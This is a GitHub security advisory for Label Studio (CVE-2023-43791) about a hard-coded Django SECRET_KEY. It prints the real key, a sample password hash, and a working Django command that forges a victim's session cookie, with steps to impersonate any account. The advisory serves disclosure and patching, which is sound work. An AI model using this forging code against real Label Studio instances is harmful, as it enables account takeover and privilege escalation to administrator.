ghsa-f475-x83m-rx5m
Vulnerability from github
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability was found to affect versions before 1.8.2
, where a patch was introduced.
Overview
In Label Studio version 1.8.1, a hard coded Django SECRET_KEY
was set in the application settings. The Django SECRET_KEY
is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.
However, the Django framework inserts a _auth_user_hash
claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in 1.9.2post0
) and forge session tokens for all users on Label Studio using the hard coded SECRET_KEY
.
Description
Below is the code snippet of the Django settings file at label_studio/core/settings/base.py
.
```python
SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n' ```
This secret is hard coded across all instances of Label Studio.
Proof of Concept
Below are the steps that an attacker could do to forge a session token of any account on Label Studio:
-
Exploit the ORM Leak vulnerability (patched in
1.9.2post0
) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the emailghostccamm@testvm.local
with the password hashpbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=
that was retrieved. -
Create a new Django project with an empty application. In
cookieforge/cookieforge/settings.py
set theSECRET_KEY
to$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n
. Create a management command with the following code that will be used to create forged session tokens.
```python from typing import Any from django.core.management.base import BaseCommand, CommandParser from django.core import signing from django.utils.crypto import salted_hmac from django.conf import settings import time, uuid
class Command(BaseCommand): help = "Forge a users session cookie on Label Studio"
def add_arguments(self, parser: CommandParser) -> None:
parser.add_argument(
'-o', '--organisation',
help='Organisation ID to access',
default=1,
type=int
)
parser.add_argument(
'user_id',
help='The User ID of the victim you want to impersonate',
type=str
)
parser.add_argument(
'user_hash',
help='The password hash the user you want to impersonate'
)
def handle(self, *args: Any, **options: Any) -> str | None:
key = settings.SECRET_KEY
# Creates the _auth_user_hash HMAC of the victim's password hash
auth_user_hash = salted_hmac(
'django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash',
options['user_hash'],
secret=key,
algorithm="sha256"
).hexdigest()
session_dict = {
'uid': str(uuid.uuid4()),
'organization_pk': options['organisation'],
'next_page': '/projects/',
'last_login': time.time(),
'_auth_user_id': options['user_id'],
'_auth_user_backend':
'django.contrib.auth.backends.ModelBackend',
'_auth_user_hash': auth_user_hash,
'keep_me_logged_in': True,
'_session_expiry': 600
}
# Creates a forged session token
session_token = signing.dumps(
session_dict,
key=key,
salt="django.contrib.sessions.backends.signed_cookies",
compress=True
)
self.stdout.write(
self.style.SUCCESS(f"session token: {session_token}")
)
```
- Next run the following command replacing the
{user_id}
with the user ID of the account you want to the impersonate and{user_hash}
with the victim's password hash. Copy the session token that is printed.
python
python3 manage.py forgecookie {user_id} '{user_hash}'
- Change the
sessionid
cookie on the browser and refresh the page. Observe being authenticated as the victim user.
Impact
This vulnerability can be chained with the ORM Leak vulnerability (which was patched in 1.9.2post0
) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.
Remediation Advice
It is important to note that the hard coded SECRET_KEY
has already been removed in Label Studio versions >=1.8.2
. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.
We recommend that Human Signal to release a public disclosure about the hard coded SECRET_KEY
to encourage users to patch to a version >=1.8.2
to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.
Discovered
- August 2023, Robert Schuh, @robbilie
- August 2023, Alex Brown, elttam
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "label-studio" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.8.2" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2023-43791" ], "database_specific": { "cwe_ids": [ "CWE-200" ], "github_reviewed": true, "github_reviewed_at": "2023-11-09T14:42:58Z", "nvd_published_at": "2023-11-09T15:15:08Z", "severity": "CRITICAL" }, "details": "# Introduction\n\nThis write-up describes a vulnerability found in [Label Studio](https://github.com/HumanSignal/label-studio), a popular open source data labeling tool. The vulnerability was found to affect versions before `1.8.2`, where a patch was introduced.\n\n# Overview\n\nIn [Label Studio version 1.8.1](https://github.com/HumanSignal/label-studio/tree/1.8.1), a hard coded Django `SECRET_KEY` was set in the application settings. The Django `SECRET_KEY` is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.\n\nHowever, the Django framework inserts a `_auth_user_hash` claim in the session token that is a HMAC hash of the account\u0027s password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) and forge session tokens for all users on Label Studio using the hard coded `SECRET_KEY`.\n\n# Description\n\nBelow is the code snippet of the Django settings file at [`label_studio/core/settings/base.py`](https://github.com/HumanSignal/label-studio/blob/1.8.1/label_studio/core/settings/base.py#L108).\n\n```python\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = \u0027$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n\u0027\n```\n\nThis secret is hard coded across all instances of Label Studio.\n\n# Proof of Concept\n\nBelow are the steps that an attacker could do to forge a session token of any account on Label Studio:\n\n1. Exploit the ORM Leak vulnerability (patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email `ghostccamm@testvm.local` with the password hash `pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=` that was retrieved.\n\n2. Create a new Django project with an empty application. In `cookieforge/cookieforge/settings.py` set the `SECRET_KEY` to `$(fefwefwef13;LFK{P!)@#*!)kdsjfWF2l+i5e3t(8a1n`. Create a management command with the following code that will be used to create forged session tokens.\n\n```python\nfrom typing import Any\nfrom django.core.management.base import BaseCommand, CommandParser\nfrom django.core import signing\nfrom django.utils.crypto import salted_hmac\nfrom django.conf import settings\nimport time, uuid\n\nclass Command(BaseCommand):\n help = \"Forge a users session cookie on Label Studio\"\n\n def add_arguments(self, parser: CommandParser) -\u003e None:\n parser.add_argument(\n \u0027-o\u0027, \u0027--organisation\u0027,\n help=\u0027Organisation ID to access\u0027,\n default=1,\n type=int\n )\n\n parser.add_argument(\n \u0027user_id\u0027,\n help=\u0027The User ID of the victim you want to impersonate\u0027,\n type=str\n )\n\n parser.add_argument(\n \u0027user_hash\u0027,\n help=\u0027The password hash the user you want to impersonate\u0027\n )\n\n def handle(self, *args: Any, **options: Any) -\u003e str | None:\n key = settings.SECRET_KEY\n # Creates the _auth_user_hash HMAC of the victim\u0027s password hash\n auth_user_hash = salted_hmac(\n \u0027django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash\u0027,\n options[\u0027user_hash\u0027],\n secret=key,\n algorithm=\"sha256\"\n ).hexdigest()\n\n session_dict = {\n \u0027uid\u0027: str(uuid.uuid4()), \n \u0027organization_pk\u0027: options[\u0027organisation\u0027], \n \u0027next_page\u0027: \u0027/projects/\u0027, \n \u0027last_login\u0027: time.time(), \n \u0027_auth_user_id\u0027: options[\u0027user_id\u0027], \n \u0027_auth_user_backend\u0027: \n \u0027django.contrib.auth.backends.ModelBackend\u0027, \n \u0027_auth_user_hash\u0027: auth_user_hash, \n \u0027keep_me_logged_in\u0027: True, \n \u0027_session_expiry\u0027: 600\n }\n\n # Creates a forged session token\n session_token = signing.dumps(\n session_dict,\n key=key,\n salt=\"django.contrib.sessions.backends.signed_cookies\",\n compress=True\n )\n\n self.stdout.write(\n self.style.SUCCESS(f\"session token: {session_token}\")\n )\n```\n\n3. Next run the following command replacing the `{user_id}` with the user ID of the account you want to the impersonate and `{user_hash}` with the victim\u0027s password hash. Copy the session token that is printed.\n\n```python\npython3 manage.py forgecookie {user_id} \u0027{user_hash}\u0027\n```\n\n4. Change the `sessionid` cookie on the browser and refresh the page. Observe being authenticated as the victim user.\n\n# Impact\n\nThis vulnerability can be chained with the ORM Leak vulnerability (which was patched in [`1.9.2post0`](https://github.com/HumanSignal/label-studio/releases/tag/1.9.2.post0)) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.\n\n# Remediation Advice\n\nIt is important to note that the hard coded `SECRET_KEY` has already been removed in Label Studio versions `\u003e=1.8.2`. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.\n\nWe recommend that Human Signal to release a public disclosure about the hard coded `SECRET_KEY` to encourage users to patch to a version `\u003e=1.8.2` to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.\n\n# Discovered\n- August 2023, Robert Schuh, @robbilie\n- August 2023, Alex Brown, elttam", "id": "GHSA-f475-x83m-rx5m", "modified": "2024-11-22T17:55:25Z", "published": "2023-11-09T14:42:58Z", "references": [ { "type": "WEB", "url": "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-f475-x83m-rx5m" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43791" }, { "type": "WEB", "url": "https://github.com/HumanSignal/label-studio/pull/4690" }, { "type": "WEB", "url": "https://github.com/HumanSignal/label-studio/commit/3d06c5131c15600621e08b06f07d976887cde81b" }, { "type": "PACKAGE", "url": "https://github.com/HumanSignal/label-studio" }, { "type": "WEB", "url": "https://github.com/HumanSignal/label-studio/releases/tag/1.8.2" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2023-274.yaml" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "type": "CVSS_V3" } ], "summary": "Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.